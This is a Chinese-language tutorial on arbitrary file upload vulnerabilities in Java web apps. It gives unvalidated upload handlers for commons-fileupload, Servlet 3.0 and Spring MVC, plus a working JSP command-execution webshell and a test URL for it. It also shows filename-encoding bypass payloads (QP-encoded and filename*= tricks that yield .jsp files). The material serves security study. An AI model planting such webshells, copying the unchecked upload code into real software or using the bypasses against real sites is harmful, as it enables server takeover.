任意文件上传漏洞

Web应用通常都会包含文件上传功能,用户可以将其本地的文件上传到Web服务器上。如果服务器端没有能够正确的检测用户上传的文件类型是否合法(例如上传了jsp后缀的WebShell)就将文件写入到服务器中就可能会导致服务器被非法入侵。

1. Apache commons fileupload文件上传测试

Apache commons-fileupload是一个非常常用的文件上传解析库,Spring MVC、Struts2、Tomcat等底层处理文件上传请求都是使用的这个库。

示例 - Apache commons-fileupload文件上传:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.commons.fileupload.FileItemIterator" %>
<%@ page import="org.apache.commons.fileupload.FileItemStream" %>
<%@ page import="org.apache.commons.fileupload.servlet.ServletFileUpload" %>
<%@ page import="org.apache.commons.fileupload.util.Streams" %>
<%@ page import="java.io.File" %>
<%@ page import="java.io.FileOutputStream" %>
<%
if (ServletFileUpload.isMultipartContent(request)) {
ServletFileUpload fileUpload = new ServletFileUpload();
FileItemIterator fileItemIterator = fileUpload.getItemIterator(request);

String dir = request.getServletContext().getRealPath("/uploads/");
File uploadDir = new File(dir);

if (!uploadDir.exists()) {
uploadDir.mkdir();
}

while (fileItemIterator.hasNext()) {
FileItemStream fileItemStream = fileItemIterator.next();
String fieldName = fileItemStream.getFieldName();// 字段名称

if (fileItemStream.isFormField()) {
String fieldValue = Streams.asString(fileItemStream.openStream());// 字段值
out.println(fieldName + "=" + fieldValue);
} else {
String fileName = fileItemStream.getName();
File uploadFile = new File(uploadDir, fileName);
out.println(fieldName + "=" + fileName);
FileOutputStream fos = new FileOutputStream(uploadFile);

// 写文件
Streams.copy(fileItemStream.openStream(), fos, true);

out.println("文件上传成功:" + uploadFile.getAbsolutePath());
}
}
} else {
%>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>File upload</title>
</head>
<body>
<form action="" enctype="multipart/form-data" method="post">
<p>
用户名: <input name="username" type="text"/>
文件: <input id="file" name="file" type="file"/>
</p>
<input name="submit" type="submit" value="Submit"/>
</form>
</body>
</html>

<%
}
%>

*示例 - 本地命令执行后门代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<%@ page import="java.io.InputStream" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<pre>
<%
String[] cmd = request.getParameterValues("cmd");
Process process = Runtime.getRuntime().exec(cmd);
InputStream in = process.getInputStream();
int a = 0;
byte[] b = new byte[1024];

while ((a = in.read(b)) != -1) {
out.println(new String(b, 0, a));
}

in.close();
%>
</pre>

因为Web应用未检测用户上传的文件合法性导致了任意文件上传漏洞,访问示例中的文件上传地址:http://localhost:8000/modules/servlet/fileupload/file-upload.jsp,并选择一个恶意的jsp后门

访问命令执行后门测试:http://localhost:8000/uploads/cmd.jsp?cmd=ls

2. Servlet 3.0 内置文件上传解析

Servlet3.0 新增了对文件上传请求解析的支持,javax.servlet.http.HttpServletRequest#getParts,使用request.getParts();即可获取文件上传包解析后的结果,从此不再需要使用第三方jar来处理文件上传请求了。

2.1 JSP multipart-config

JSP使用request.getParts();必须配置multipart-config,否则请求时会报错:Unable to process parts as no multi-part configuration has been provided(由于没有提供multi-part配置,无法处理parts)。

在web.xml中添加如下配置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="3.0"
xmlns="http://java.sun.com/xml/ns/javaee"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd">

<servlet>
<servlet-name>file-upload-parts.jsp</servlet-name>
<jsp-file>/modules/servlet/fileupload/file-upload-parts.jsp</jsp-file>
<multipart-config>
<max-file-size>1000000</max-file-size>
<max-request-size>1000000</max-request-size>
<file-size-threshold>1000000</file-size-threshold>
</multipart-config>
</servlet>

<servlet-mapping>
<servlet-name>file-upload-parts.jsp</servlet-name>
<url-pattern>/modules/servlet/fileupload/file-upload-parts.jsp</url-pattern>
</servlet-mapping>

</web-app>

示例 - file-upload-parts.jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.commons.io.IOUtils" %>
<%@ page import="java.util.Collection" %>
<%@ page import="java.io.File" %>
<%
String contentType = request.getContentType();

// 检测是否是multipart请求
if (contentType != null && contentType.startsWith("multipart/")) {
String dir = request.getSession().getServletContext().getRealPath("/uploads/");
File uploadDir = new File(dir);

if (!uploadDir.exists()) {
uploadDir.mkdir();
}

Collection<Part> parts = request.getParts();

for (Part part : parts) {
String fileName = part.getSubmittedFileName();

if (fileName != null) {
File uploadFile = new File(uploadDir, fileName);
out.println(part.getName() + ": " + uploadFile.getAbsolutePath() + "<br/>");
} else {
out.println(part.getName() + ": " + IOUtils.toString(part.getInputStream()) + "<br/>");
}
}
} else {
%>
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<title>File upload</title>
</head>
<body>
<form action="" enctype="multipart/form-data" method="post">
<p>
用户名: <input name="username" type="text"/>
文件: <input id="file" name="file" type="file"/>
</p>
<input name="submit" type="submit" value="Submit"/>
</form>
</body>
</html>
<%
}
%>

2.2 Servlet @MultipartConfig

Servlet3.0 需要配置@MultipartConfig注解才能支持multipart解析。
示例 - FileUploadServlet代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import org.apache.commons.io.FileUtils;
import org.apache.commons.io.IOUtils;

import javax.servlet.ServletException;
import javax.servlet.annotation.MultipartConfig;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.Part;
import java.io.File;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.Collection;

@MultipartConfig
@WebServlet(urlPatterns = "/FileUploadServlet")
public class FileUploadServlet extends HttpServlet {

@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
PrintWriter out = resp.getWriter();

out.println("<!DOCTYPE html>\n" +
"<html lang=\"zh\">\n" +
"<head>\n" +
" <meta charset=\"UTF-8\">\n" +
" <title>File upload</title>\n" +
"</head>\n" +
"<body>\n" +
"<form action=\"\" enctype=\"multipart/form-data\" method=\"post\">\n" +
" <p>\n" +
" 用户名: <input name=\"username\" type=\"text\"/>\n" +
" 文件: <input id=\"file\" name=\"file\" type=\"file\"/>\n" +
" </p>\n" +
" <input name=\"submit\" type=\"submit\" value=\"Submit\"/>\n" +
"</form>\n" +
"</body>\n" +
"</html>");

out.flush();
out.close();
}

@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
PrintWriter out = response.getWriter();
String contentType = request.getContentType();

// 检测是否是multipart请求
if (contentType != null && contentType.startsWith("multipart/")) {
String dir = request.getSession().getServletContext().getRealPath("/uploads/");
File uploadDir = new File(dir);

if (!uploadDir.exists()) {
uploadDir.mkdir();
}

Collection<Part> parts = request.getParts();

for (Part part : parts) {
String fileName = part.getSubmittedFileName();

if (fileName != null) {
File uploadFile = new File(uploadDir, fileName);
out.println(part.getName() + ": " + uploadFile.getAbsolutePath());

FileUtils.write(uploadFile, IOUtils.toString(part.getInputStream(), "UTF-8"));
} else {
out.println(part.getName() + ": " + IOUtils.toString(part.getInputStream()));
}
}
}

out.flush();
out.close();
}

}

3. Spring MVC文件上传

Spring MVC会自动解析multipart/form-data请求,将multipart中的对象封装到MultipartRequest对象中,所以在Controller中使用@RequestParam注解就可以映射multipart中的对象了,如:@RequestParam(“file”) MultipartFile file。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import org.javaweb.utils.FileUtils;
import org.javaweb.utils.HttpServletResponseUtils;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.multipart.MultipartFile;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.File;
import java.io.IOException;
import java.util.LinkedHashMap;
import java.util.Map;

import static org.javaweb.utils.HttpServletRequestUtils.getDocumentRoot;

@Controller
@RequestMapping("/FileUpload/")
public class FileUploadController {

@RequestMapping("/upload.php")
public void uploadPage(HttpServletResponse response) {
HttpServletResponseUtils.responseHTML(response, "<!DOCTYPE html>\n" +
"<html lang=\"en\">\n" +
"<head>\n" +
" <meta charset=\"UTF-8\">\n" +
" <title>File upload</title>\n" +
"</head>\n" +
"<body>\n" +
"<form action=\"/FileUpload/upload.do\" enctype=\"multipart/form-data\" method=\"post\">\n" +
" <p>\n" +
" 用户名: <input name=\"username\" type=\"text\"/>\n" +
" 文件: <input id=\"file\" name=\"file\" type=\"file\"/>\n" +
" </p>\n" +
" <input name=\"submit\" type=\"submit\" value=\"Submit\"/>\n" +
"</form>\n" +
"</body>\n" +
"</html>");
}

@ResponseBody
@RequestMapping("/upload.do")
public Map<String, Object> upload(String username, @RequestParam("file") MultipartFile file, HttpServletRequest request) {
// 文件名称
String filePath = "uploads/" + username + "/" + file.getOriginalFilename();
File uploadFile = new File(getDocumentRoot(request), filePath);

// 上传目录
File uploadDir = uploadFile.getParentFile();

// 上传文件对象
Map<String, Object> jsonMap = new LinkedHashMap<String, Object>();

if (!uploadDir.exists()) {
uploadDir.mkdirs();
}

try {
FileUtils.copyInputStreamToFile(file.getInputStream(), uploadFile);

jsonMap.put("url", filePath);
jsonMap.put("msg", "上传成功!");
} catch (IOException e) {
jsonMap.put("msg", "上传失败,服务器异常!");
}

return jsonMap;
}

}

4. 文件上传 - 编码特性

4.1 QP编码

QP编码( quoted-printable)是邮件协议中的一种内容编码方式,Quoted-printable是使用可打印的ASCII字符(如字母、数字与“=”)表示各种编码格式下的字符,以便能在7-bit数据通路上传输8-bit数据, 或者更一般地说在非8-bit clean媒体上正确处理数据,这被定义为MIME content transfer encoding

示例 - JavaQP编码代码:

1
2
3
4
5
6
7
8
9
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.mail.internet.MimeUtility" %>
<%
String qp = request.getParameter("qp");
String encode = MimeUtility.encodeWord(qp);
String decode = MimeUtility.decodeWord(encode);

out.println("<pre>\nQP-Encoding: " + encode + "\nQP-Decode: " + decode);
%>

字符串:测试.jsp编码后的结果如下:

QP编码本与文件上传没有什么关系,但是由于在Java中最常用的Apache commons fileupload库从1.3开始支持了RFC 2047 Header值编码,从而支持解析使用QP编码后的文件名。

上传文件的时候选一个文件名经过QP编码后的文件,如:=?UTF-8?Q?=E6=B5=8B=E8=AF=95=2Ejsp?=(测试.jsp)。

编码处理类:org.apache.commons.fileupload.util.mime.MimeUtility#decodeText

所以在文件上传中,上传被编码后的文件名(=?UTF-8?Q?=E6=B5=8B=E8=AF=95=2Ejsp?=),文件上传成功后文件名被编码成了测试.jsp。

Spring MVC中同样支持QP编码,在Spring中有两种处理Multipart的Resolver: org.springframework.web.multipart.commons.CommonsMultipartResolver和org.springframework.web.multipart.support.StandardServletMultipartResolver。CommonsMultipartResolver使用的是commons fileupload解析的所以支持QP编码。StandardMultipartHttpServletRequest比较特殊,Spring 4没有处理QP编码

但是在Spring 5修改了实现,如果文件名是=?开始?=结尾的话会调用javax.mail库的MimeDelegate解析QP编码

javax.mail库不是JDK自带的,必须自行引包,如果不存在该包也将无法解析,SpringBoot + Spring4默认使用的是StandardServletMultipartResolver,但是基于配置的Spring MVC中经常会使用CommonsMultipartResolver

1
2
3
4
5
<bean id="multipartResolver" class="org.springframework.web.multipart.commons.CommonsMultipartResolver">
<property name="defaultEncoding" value="UTF-8"></property>
<property name="maxUploadSize" value="50000000"></property>
<property name="maxInMemorySize" value="1024"></property>
</bean>

4.2 Spring 内置文件名编码特性

Spring会对文件上传的名称做特殊的处理,org.springframework.web.multipart.support.StandardMultipartHttpServletRequest#parseRequest内置了一种比较特殊的解析文件名的方式,如果传入的multipart请求无法直接使用filename=解析出文件名,Spring还会使用content-disposition解析一次(使用filename*=解析文件名)。

在文件上传时,修改Content-Disposition中的filename=为

1
filename*="UTF-8'1.jpg'1.jsp"

extractFilenameWithCharset支持对传入的文件名编码,示例中传入的UTF-8’1.jpg’1.jsp会被解析成UTF-8编码,最终的文件名为1.jsp,而1.jpg则会被丢弃。

Spring5的org.springframework.web.multipart.support.StandardMultipartHttpServletRequest#parseRequest除了支持QP编码以外,优化了Spring4的解析文件名的方式:

Payload:

1
filename*="UTF-8'1.jpg'=?UTF-8?Q?=E6=B5=8B=E8=AF=95=2Ejsp?="